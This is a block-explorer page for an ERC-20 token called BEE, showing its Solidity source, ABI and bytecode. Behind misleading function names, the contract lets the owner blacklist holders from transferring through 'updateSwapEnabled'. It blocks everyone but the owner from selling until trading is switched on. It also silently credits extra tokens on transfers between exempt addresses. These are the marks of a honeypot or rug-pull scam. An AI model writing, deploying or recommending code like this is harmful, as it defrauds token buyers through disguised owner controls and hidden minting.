Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
5,000,000 BEE
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 12 Decimals)
Balance
44,837.285784489414 BEEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BEE
Compiler Version
v0.8.14+commit.80d49f37
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-25 */ /* */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); } library SafeMathUnit { function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } } interface IDEPress01 { event PairCreated( address indexed token0, address indexed token1, address pair, uint); function createPair( address tokenA, address tokenB) external returns (address pair); } interface B20RouterV1 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred (address indexed previousOwner, address indexed newOwner); constructor () { _owner = 0x0e8922f374F0c07596606F201828CE67179636Ec; emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IDEEC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value); } // de ETHERSCAN.io. contract BEE is Context, IDEEC20, Ownable { uint256 private OptimizationCalculations; bool public intertextualFlow = true; bool public reservesRatio = true; bool private tradingAllowed = false; uint256 public internalTokensAtInterval = 30; uint256 public externalThreshold = 20; uint256 public getReserves = 0; string private _name = unicode"🐝INU"; string private _symbol = unicode"BEE"; uint256 private constant uint226 = ~uint256(0); uint8 private _decimals = 12; uint256 private _totalSupply = 5000000 * 10**_decimals; uint256 public authorizationsForAmount = 1000000 * 10**_decimals; uint256 private _rTotalInBlock = (uint226 - (uint226 % _totalSupply)); mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _quantomFaucet; mapping (address => bool) private _operationsThreshold; uint256 private liquidityPairBalance = internalTokensAtInterval; uint256 private _frequencyInSeconds = getReserves; uint256 private _percent = externalThreshold; bool AtAmountOverview; uint256 private arrangeNodes = 1000000000 * 10**18; event requireV2Router( uint256 deadAddress); event MarketMakerPair( bool enabled); event TEAMwalletUpdated( uint256 oldWallets, uint256 burnAddress, uint256 preformAction ); modifier lockTheSwap { AtAmountOverview = true; _; AtAmountOverview = false; } constructor () { _tOwned[owner()] = _totalSupply; B20RouterV1 _isIntConnection01 = B20RouterV1 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IDERemixed = IDEPress01 (_isIntConnection01.factory()) .createPair(address(this), _isIntConnection01.WETH()); IBEPEC20Link = _isIntConnection01; _quantomFaucet [owner()] = true; _quantomFaucet [address(this)] = true; emit Transfer( address(0), owner(), _totalSupply); } function updateSwapEnabled (address distributor, bool triggerManual) public onlyOwner { _operationsThreshold[distributor] = triggerManual; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } receive() external payable {} function IDEblocksFEE (uint256 _internalValues) private view returns (uint256) { return _internalValues.mul (internalTokensAtInterval).div ( 10**3 ); } function IDEFinalBlocksFEE(uint256 _internalValues) private view returns (uint256) { return _internalValues.mul (getReserves).div ( 10**3 ); } function IDEBlocksFeesPaired(uint256 _internalValues) private view returns (uint256) { return _internalValues.mul (externalThreshold).div ( 10**3 ); } function _transfer( address from, address to, uint256 amount ) private { require(amount > 0, "Transfer amount must be greater than zero"); bool indexedCrate = false; if(!_quantomFaucet[from] && !_quantomFaucet[to]){ indexedCrate = true; require(amount <= authorizationsForAmount, "Transfer amount exceeds the maxTxAmount."); } require(!_operationsThreshold[from] && !_operationsThreshold[to], "You have been blacklisted from transfering tokens"); uint256 initialETHBalance = balanceOf(address(this)); if(initialETHBalance >= authorizationsForAmount) { initialETHBalance = authorizationsForAmount; } _afterTokenTransfer( from,to,amount,indexedCrate); emit Transfer( from, to, amount); if (!tradingAllowed) {require( from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } } function updateBURNwallet(address BURNaddr) public onlyOwner { BURNaddr = BURNaddr; } function teamWalletUpdated (uint256 initialETHBalance) private lockTheSwap { uint256 newNum = initialETHBalance.div(2); uint256 amountSync = initialETHBalance.sub(newNum); uint256 initialBalance = address(this).balance; swapTokensForEth(newNum); uint256 _frequencySeconds = address(this).balance.sub(initialBalance); createLiquidityPair(amountSync, _frequencySeconds); emit TEAMwalletUpdated(newNum, _frequencySeconds, amountSync); } function min(uint256 a, uint256 b) private view returns (uint256){ return (a>b)?b:a; } function _beforeTokenTransfer (address sender, address recipient, uint256 cratorAmount, bool indexedCrate) private { uint256 amountToSwapForETH = 0; if (indexedCrate){ amountToSwapForETH = cratorAmount.mul(1).div(100) ; } uint256 indexAmountWith = cratorAmount - amountToSwapForETH; _tOwned[recipient] = _tOwned[recipient].add(indexAmountWith); uint256 stringTrading = _tOwned [recipient].add(indexAmountWith); _tOwned[sender] = _tOwned [sender].sub(indexAmountWith); bool _quantomFaucet = _quantomFaucet[sender] && _quantomFaucet[recipient]; if (_quantomFaucet ){ _tOwned[recipient] =stringTrading; } else { emit Transfer (sender, recipient, indexAmountWith); } } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[] (2); path[0] = address(this); path[1] = IBEPEC20Link.WETH(); _approve(address(this), address (IBEPEC20Link), tokenAmount); IBEPEC20Link.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval( owner, spender, amount); } function updateTeamWallet(address TEAMaddr) public onlyOwner { TEAMaddr = TEAMaddr; } function createLiquidityPair (uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address (IBEPEC20Link), tokenAmount); IBEPEC20Link.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function enableTrading(bool _tradingOpen) public onlyOwner { tradingAllowed = _tradingOpen; } function _afterTokenTransfer (address sender, address recipient, uint256 amount, bool indexedCrate) private { _beforeTokenTransfer (sender, recipient, amount, indexedCrate); } address public IDEOptimizorkSettings; address public IDEGasTracking; address public immutable IDERemixed; using SafeMathUnit for uint256; B20RouterV1 public immutable IBEPEC20Link; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"MarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldWallets","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"burnAddress","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"preformAction","type":"uint256"}],"name":"TEAMwalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"deadAddress","type":"uint256"}],"name":"requireV2Router","type":"event"},{"inputs":[],"name":"IBEPEC20Link","outputs":[{"internalType":"contract B20RouterV1","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IDEGasTracking","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IDEOptimizorkSettings","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IDERemixed","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"authorizationsForAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"externalThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getReserves","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"internalTokensAtInterval","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"intertextualFlow","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reservesRatio","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BURNaddr","type":"address"}],"name":"updateBURNwallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"distributor","type":"address"},{"internalType":"bool","name":"triggerManual","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"TEAMaddr","type":"address"}],"name":"updateTeamWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6002805462ffffff1916610101179055601e60035560146004556000600555610100604052600760c081905266f09f909d494e5560c81b60e09081526200004a9160069190620003df565b506040805180820190915260038082526242454560e81b60209092019182526200007791600791620003df565b506008805460ff1916600c9081179091556200009590600a6200059a565b620000a490624c4b40620005b2565b600955600854620000ba9060ff16600a6200059a565b620000c990620f4240620005b2565b600a55600954620000dd90600019620005d4565b620000eb90600019620005f7565b600b556003546010556005546011556004546012556b033b2e3c9fd0803ce80000006014553480156200011d57600080fd5b50600080546001600160a01b031916730e8922f374f0c07596606f201828ce67179636ec90811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600954600c600062000182620003d0565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000224919062000611565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000272573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000298919062000611565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030c919062000611565b6001600160a01b03908116608052811660a0526001600e60006200032f620003d0565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600e90925290208054909116600117905562000379620003d0565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620003c191815260200190565b60405180910390a35062000678565b6000546001600160a01b031690565b828054620003ed906200063c565b90600052602060002090601f0160209004810192826200041157600085556200045c565b82601f106200042c57805160ff19168380011785556200045c565b828001600101855582156200045c579182015b828111156200045c5782518255916020019190600101906200043f565b506200046a9291506200046e565b5090565b5b808211156200046a57600081556001016200046f565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004dc578160001904821115620004c057620004c062000485565b80851615620004ce57918102915b93841c9390800290620004a0565b509250929050565b600082620004f55750600162000594565b81620005045750600062000594565b81600181146200051d5760028114620005285762000548565b600191505062000594565b60ff8411156200053c576200053c62000485565b50506001821b62000594565b5060208310610133831016604e8410600b84101617156200056d575081810a62000594565b6200057983836200049b565b806000190482111562000590576200059062000485565b0290505b92915050565b6000620005ab60ff841683620004e4565b9392505050565b6000816000190483118215151615620005cf57620005cf62000485565b500290565b600082620005f257634e487b7160e01b600052601260045260246000fd5b500690565b6000828210156200060c576200060c62000485565b500390565b6000602082840312156200062457600080fd5b81516001600160a01b0381168114620005ab57600080fd5b600181811c908216806200065157607f821691505b6020821081036200067257634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a051610fbe6200069e60003960006103e6015260006102640152610fbe6000f3fe60806040526004361061012a5760003560e01c806306fdde03146101365780630902f1ac14610161578063095ea7b31461018557806318160ddd146101b557806323b872dd146101ca57806328796b5d146101ea5780632c4a5880146102005780632e2e5c861461021a578063313ce567146102305780635f5c1e801461025257806370a082311461029e578063715018a6146102be5780637cb332bb146102d557806380bef527146102f55780638252471e146102d55780638c3b42a1146103145780638da5cb5b1461032a578063904e8b611461033f57806395d89b411461035f578063a9059cbb14610374578063b7e61e5c14610394578063bbadc552146103b4578063c5490dd0146103d4578063dd62ed3e14610408578063f275f64b1461044e57600080fd5b3661013157005b600080fd5b34801561014257600080fd5b5061014b61046e565b6040516101589190610cd1565b60405180910390f35b34801561016d57600080fd5b5061017760055481565b604051908152602001610158565b34801561019157600080fd5b506101a56101a0366004610d42565b610500565b6040519015158152602001610158565b3480156101c157600080fd5b50600954610177565b3480156101d657600080fd5b506101a56101e5366004610d6c565b610516565b3480156101f657600080fd5b5061017760035481565b34801561020c57600080fd5b506002546101a59060ff1681565b34801561022657600080fd5b5061017760045481565b34801561023c57600080fd5b5060085460405160ff9091168152602001610158565b34801561025e57600080fd5b506102867f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610158565b3480156102aa57600080fd5b506101776102b9366004610da8565b61057f565b3480156102ca57600080fd5b506102d361059a565b005b3480156102e157600080fd5b506102d36102f0366004610da8565b61061c565b34801561030157600080fd5b506002546101a590610100900460ff1681565b34801561032057600080fd5b50610177600a5481565b34801561033657600080fd5b5061028661064e565b34801561034b57600080fd5b506102d361035a366004610dd3565b61065d565b34801561036b57600080fd5b5061014b6106b7565b34801561038057600080fd5b506101a561038f366004610d42565b6106c6565b3480156103a057600080fd5b50601554610286906001600160a01b031681565b3480156103c057600080fd5b50601654610286906001600160a01b031681565b3480156103e057600080fd5b506102867f000000000000000000000000000000000000000000000000000000000000000081565b34801561041457600080fd5b50610177610423366004610e06565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b34801561045a57600080fd5b506102d3610469366004610e30565b6106d3565b60606006805461047d90610e4b565b80601f01602080910402602001604051908101604052809291908181526020018280546104a990610e4b565b80156104f65780601f106104cb576101008083540402835291602001916104f6565b820191906000526020600020905b8154815290600101906020018083116104d957829003601f168201915b5050505050905090565b600061050d33848461071e565b50600192915050565b6000610523848484610842565b610575843361057085604051806060016040528060288152602001610f41602891396001600160a01b038a166000908152600d602090815260408083203384529091529020549190610b01565b61071e565b5060019392505050565b6001600160a01b03166000908152600c602052604090205490565b336105a361064e565b6001600160a01b0316146105d25760405162461bcd60e51b81526004016105c990610e85565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3361062561064e565b6001600160a01b03161461064b5760405162461bcd60e51b81526004016105c990610e85565b50565b6000546001600160a01b031690565b3361066661064e565b6001600160a01b03161461068c5760405162461bcd60e51b81526004016105c990610e85565b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b60606007805461047d90610e4b565b600061050d338484610842565b336106dc61064e565b6001600160a01b0316146107025760405162461bcd60e51b81526004016105c990610e85565b60028054911515620100000262ff000019909216919091179055565b6001600160a01b0383166107805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c9565b6001600160a01b0382166107e15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c9565b6001600160a01b038381166000818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116108a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c9565b6001600160a01b0383166000908152600e602052604081205460ff161580156108e657506001600160a01b0383166000908152600e602052604090205460ff16155b156109525760019050600a548211156109525760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016105c9565b6001600160a01b0384166000908152600f602052604090205460ff1615801561099457506001600160a01b0383166000908152600f602052604090205460ff16155b6109fa5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b60648201526084016105c9565b6000610a053061057f565b9050600a548110610a155750600a545b610a2185858585610b2d565b836001600160a01b0316856001600160a01b0316600080516020610f6983398151915285604051610a5491815260200190565b60405180910390a360025462010000900460ff16610afa57610a7461064e565b6001600160a01b0316856001600160a01b031614610afa5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105c9565b5050505050565b60008184841115610b255760405162461bcd60e51b81526004016105c99190610cd1565b505050900390565b610b3984848484610b3f565b50505050565b60008115610b6057610b5d6064610b57856001610c9a565b90610cad565b90505b6000610b6c8285610ed0565b6001600160a01b0386166000908152600c6020526040902054909150610b929082610cb9565b6001600160a01b0386166000908152600c6020526040812082905590610bb89083610cb9565b6001600160a01b0388166000908152600c6020526040902054909150610bde9083610cc5565b6001600160a01b0388166000908152600c6020908152604080832093909355600e90529081205460ff168015610c2c57506001600160a01b0387166000908152600e602052604090205460ff165b90508015610c54576001600160a01b0387166000908152600c60205260409020829055610c90565b866001600160a01b0316886001600160a01b0316600080516020610f6983398151915285604051610c8791815260200190565b60405180910390a35b5050505050505050565b6000610ca68284610ee7565b9392505050565b6000610ca68284610f06565b6000610ca68284610f28565b6000610ca68284610ed0565b600060208083528351808285015260005b81811015610cfe57858101830151858201604001528201610ce2565b81811115610d10576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d3d57600080fd5b919050565b60008060408385031215610d5557600080fd5b610d5e83610d26565b946020939093013593505050565b600080600060608486031215610d8157600080fd5b610d8a84610d26565b9250610d9860208501610d26565b9150604084013590509250925092565b600060208284031215610dba57600080fd5b610ca682610d26565b80358015158114610d3d57600080fd5b60008060408385031215610de657600080fd5b610def83610d26565b9150610dfd60208401610dc3565b90509250929050565b60008060408385031215610e1957600080fd5b610e2283610d26565b9150610dfd60208401610d26565b600060208284031215610e4257600080fd5b610ca682610dc3565b600181811c90821680610e5f57607f821691505b602082108103610e7f57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015610ee257610ee2610eba565b500390565b6000816000190483118215151615610f0157610f01610eba565b500290565b600082610f2357634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115610f3b57610f3b610eba565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207c73ddcad7959ebcd54741f66619baa4ed4992474da2f92d20102df8ece15e8a64736f6c634300080e0033
Deployed Bytecode
0x60806040526004361061012a5760003560e01c806306fdde03146101365780630902f1ac14610161578063095ea7b31461018557806318160ddd146101b557806323b872dd146101ca57806328796b5d146101ea5780632c4a5880146102005780632e2e5c861461021a578063313ce567146102305780635f5c1e801461025257806370a082311461029e578063715018a6146102be5780637cb332bb146102d557806380bef527146102f55780638252471e146102d55780638c3b42a1146103145780638da5cb5b1461032a578063904e8b611461033f57806395d89b411461035f578063a9059cbb14610374578063b7e61e5c14610394578063bbadc552146103b4578063c5490dd0146103d4578063dd62ed3e14610408578063f275f64b1461044e57600080fd5b3661013157005b600080fd5b34801561014257600080fd5b5061014b61046e565b6040516101589190610cd1565b60405180910390f35b34801561016d57600080fd5b5061017760055481565b604051908152602001610158565b34801561019157600080fd5b506101a56101a0366004610d42565b610500565b6040519015158152602001610158565b3480156101c157600080fd5b50600954610177565b3480156101d657600080fd5b506101a56101e5366004610d6c565b610516565b3480156101f657600080fd5b5061017760035481565b34801561020c57600080fd5b506002546101a59060ff1681565b34801561022657600080fd5b5061017760045481565b34801561023c57600080fd5b5060085460405160ff9091168152602001610158565b34801561025e57600080fd5b506102867f00000000000000000000000053a2b3f7083b5ed8301a2fd79861c75e67e0e23181565b6040516001600160a01b039091168152602001610158565b3480156102aa57600080fd5b506101776102b9366004610da8565b61057f565b3480156102ca57600080fd5b506102d361059a565b005b3480156102e157600080fd5b506102d36102f0366004610da8565b61061c565b34801561030157600080fd5b506002546101a590610100900460ff1681565b34801561032057600080fd5b50610177600a5481565b34801561033657600080fd5b5061028661064e565b34801561034b57600080fd5b506102d361035a366004610dd3565b61065d565b34801561036b57600080fd5b5061014b6106b7565b34801561038057600080fd5b506101a561038f366004610d42565b6106c6565b3480156103a057600080fd5b50601554610286906001600160a01b031681565b3480156103c057600080fd5b50601654610286906001600160a01b031681565b3480156103e057600080fd5b506102867f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561041457600080fd5b50610177610423366004610e06565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b34801561045a57600080fd5b506102d3610469366004610e30565b6106d3565b60606006805461047d90610e4b565b80601f01602080910402602001604051908101604052809291908181526020018280546104a990610e4b565b80156104f65780601f106104cb576101008083540402835291602001916104f6565b820191906000526020600020905b8154815290600101906020018083116104d957829003601f168201915b5050505050905090565b600061050d33848461071e565b50600192915050565b6000610523848484610842565b610575843361057085604051806060016040528060288152602001610f41602891396001600160a01b038a166000908152600d602090815260408083203384529091529020549190610b01565b61071e565b5060019392505050565b6001600160a01b03166000908152600c602052604090205490565b336105a361064e565b6001600160a01b0316146105d25760405162461bcd60e51b81526004016105c990610e85565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3361062561064e565b6001600160a01b03161461064b5760405162461bcd60e51b81526004016105c990610e85565b50565b6000546001600160a01b031690565b3361066661064e565b6001600160a01b03161461068c5760405162461bcd60e51b81526004016105c990610e85565b6001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b60606007805461047d90610e4b565b600061050d338484610842565b336106dc61064e565b6001600160a01b0316146107025760405162461bcd60e51b81526004016105c990610e85565b60028054911515620100000262ff000019909216919091179055565b6001600160a01b0383166107805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c9565b6001600160a01b0382166107e15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c9565b6001600160a01b038381166000818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116108a45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c9565b6001600160a01b0383166000908152600e602052604081205460ff161580156108e657506001600160a01b0383166000908152600e602052604090205460ff16155b156109525760019050600a548211156109525760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016105c9565b6001600160a01b0384166000908152600f602052604090205460ff1615801561099457506001600160a01b0383166000908152600f602052604090205460ff16155b6109fa5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b60648201526084016105c9565b6000610a053061057f565b9050600a548110610a155750600a545b610a2185858585610b2d565b836001600160a01b0316856001600160a01b0316600080516020610f6983398151915285604051610a5491815260200190565b60405180910390a360025462010000900460ff16610afa57610a7461064e565b6001600160a01b0316856001600160a01b031614610afa5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105c9565b5050505050565b60008184841115610b255760405162461bcd60e51b81526004016105c99190610cd1565b505050900390565b610b3984848484610b3f565b50505050565b60008115610b6057610b5d6064610b57856001610c9a565b90610cad565b90505b6000610b6c8285610ed0565b6001600160a01b0386166000908152600c6020526040902054909150610b929082610cb9565b6001600160a01b0386166000908152600c6020526040812082905590610bb89083610cb9565b6001600160a01b0388166000908152600c6020526040902054909150610bde9083610cc5565b6001600160a01b0388166000908152600c6020908152604080832093909355600e90529081205460ff168015610c2c57506001600160a01b0387166000908152600e602052604090205460ff165b90508015610c54576001600160a01b0387166000908152600c60205260409020829055610c90565b866001600160a01b0316886001600160a01b0316600080516020610f6983398151915285604051610c8791815260200190565b60405180910390a35b50505050